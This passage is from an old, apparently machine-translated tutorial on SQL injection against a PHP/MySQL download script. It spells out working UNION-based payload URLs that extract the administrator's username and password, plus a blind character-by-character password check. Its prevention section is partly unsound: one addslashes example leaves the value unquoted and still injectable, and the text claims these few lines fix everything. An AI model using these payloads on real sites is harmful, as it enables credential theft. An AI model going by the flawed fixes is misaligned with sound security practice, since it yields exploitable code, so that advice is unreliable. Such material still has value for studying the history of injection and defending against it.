    Forgot, even if there is no user with id 1, the previous query is true, and the software information of the database will still be returned normally. We can only make the previous query false to display the results of the subsequent query, but we have to Note that there is this code in the show.php file:

    if ($id > "0" && $id < "999999999" ):
    //Here is the code that is executed correctly
    else:
    echo "

    No record

    n";



    In other words, no matter how outrageous the value of our ID is, it cannot be outside 0 and 999999999. HB’s software will definitely not exceed 10,000, so we will submit:

    http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1 from ymdown_user where id=1


    It returned normally, and the data in the table are all "1", indicating that the ID is still there. If it does not exist, the page will only return all data that is unknown, because the program's judgment is that if the data is empty, it will be displayed as unknown. Now that you have confirmed that the ID exists, you still need to confirm whether it is an administrator:

    http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1


    The program stipulates that groupid 1 is a super administrator. Since the correct information is returned, we directly construct a malformed statement to reveal the user name and password we need. Hehe, first look at the data structure of the ymdown table, because show.php is a query Its, so we should look at its data structure.

    CREATE TABLE ymdown (
    id int(10) unsigned NOT NULL auto_increment,
    name varchar(100) NOT NULL,
    updatetime varchar(20) NOT NULL,
    size varchar(100) NOT NULL,
    Empower varchar(100) NOT NULL,
    os varchar(100) NOT NULL,
    grade smallint(6) DEFAULT '0' NOT NULL,
    viewnum int(10) DEFAULT '0' NOT NULL,
    downnum int(10) DEFAULT '0' NOT NULL,
    homepage varchar(100), demo varchar(100),
    brief mediumtext, img varchar(100),
    sort2id smallint(6) DEFAULT '0' NOT NULL,
    down1 varchar(100) NOT NULL,
    down2 varchar(100),
    down3 varchar(100),
    down4 varchar(100),
    down5 varchar(100),
    PRIMARY KEY (id)
    );



    The data type of username and password are both varchar, so we have to choose the data type in the ymdown table to be varchar. If the varchar data is written to the int location, of course it will not be displayed, because the length of updatetime (update date) is 20. The display may be incomplete. Let’s display the user name in name (software title) and the password in size (file size). Among the 19 “1”s, name and size are respectively For the second and fourth, we submit:

    http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1 from ymdown_user where id=1


    The result successfully returned the username and password we needed, as shown in the figure:



    Verify test results

    The entire penetration process is over. However, because Black and White changed the entrance, we cannot log in. However, we only tested injection . The purpose has been achieved, so there is no need to enter the backend. I Later, we continued to construct SQL statements to verify whether the password we obtained was correct, and submitted them in order:

    http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
    #Verify the first password
    http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50
    #Verify the second password
    http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
    #Verify the third password
    http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52
    #Verify the fourth digit of password
    http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53
    #Verify fifth digit password
    http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54
    #Verify the sixth digit password


    Use select char(49,50,51,52,53,54) to get 123456.
    OK! The test is over, verifying that our results are error-free. To explain, the password itself is 123456. You can guess it directly without using the ord() function, but in order for everyone to see a complete process, I'd better be more "professional". Here is a screenshot taken when re-testing HB after writing this article:



    Prevention of injection

    Prevention can start from two aspects, one is the server, and the other is the code itself. There are many articles introducing server configuration. It is nothing more than setting magic_quotes_gpc to On and display_errors to Off. I won’t go into details here. Since this article has touched on all Is it a program problem? We should look for the cause from the program itself.
    If PHP is easier to use and safer than ASP, it can be reflected from the built-in functions. If it is an integer variable, you only need to use an intval() function to solve the problem. Before executing the query, we first process the variable, such as the following example, which is very safe:

    $id = intval($id);
    mysql_query("SELECT * FROM article WHERE articleid='$id'");


    Or write like this:

    mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."")


    No matter how it is constructed, it will eventually be converted into an integer and put into the database. Many large programs are written this way, which is very concise.
    String-shaped variables can also use the built-in function addslashes(). This function has the same function as magic_quotes_gpc. After use, all ' (single quotation marks), " (double quotation marks), (backslash) and null characters will be Automatically convert to overflow characters containing backslashes. And in the new version of php, even if magic_quotes_gpc is turned on, there will be no conflict when using the addslashes() function. The example is as follows:

    $username = addslashes($username);
    mysql_query("SELECT * FROM members WHERE userid='$username'");



    Or write like this:

    mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")


    Using the addslashes() function can also avoid quotation mark pairing errors. The previous search engine repair method is to directly convert "_" and "%" into "_" and "%". Of course, don't forget to use the addslashes() function. The specific code is as follows:

    $keywords = addslashes($keywords);
    $keywords = str_replace("_","_",$keywords);
    $keywords = str_replace("%","%",$keywords);



    We don’t have to write a lot of code to filter a few variables like ASP. With just a little bit of code above, we can solve all the problems in this article. Isn’t it very simple?

    Postscript

    This article has been studied and researched in my spare time since March 2004. It was written in mid-May. Everything in it has been tested by me personally. This article is just a technical summary. There are still many technical difficulties that have not been solved. , so errors and omissions are inevitable. Please correct me.
    There are also many extremely dangerous things. As long as a few conditions are met, they can generally enter the server. Considering the severity and widespreadness, I have not written them out. I personally estimate that PHP+MYSQL will appear soon Inject a series of tools into , and the technology will also become popular and inform development. But I suggest that everyone must understand the principle. Tools are just weapons, and technology is the soul. Tools only improve efficiency, but they do not mean that you are highly skilled.
    By the time you read this article, I guess I have already finished the college entrance examination, and I will write a more in-depth study during the summer vacation.
    In order to let more people understand and master the injection technology of PHP+MYSQL, I wrote this article and decided to publish it and reiterate it again. Do not compromise any legitimate host in any country or do so at your own risk.

    It’s very easy to pass the infiltration level
    Everything is under my control
    Getting closer to the admin
    My mood is very different today

    www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/631115.htmlTechArticleSQL Injection with MySQL Author of this article: angel Nature of article: Original Release date: 2004-09-16 This article has been published in The July issue of "Hacker Defense", please indicate when reprinting. Since it took me a long time to write...
  • Statement:
    The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn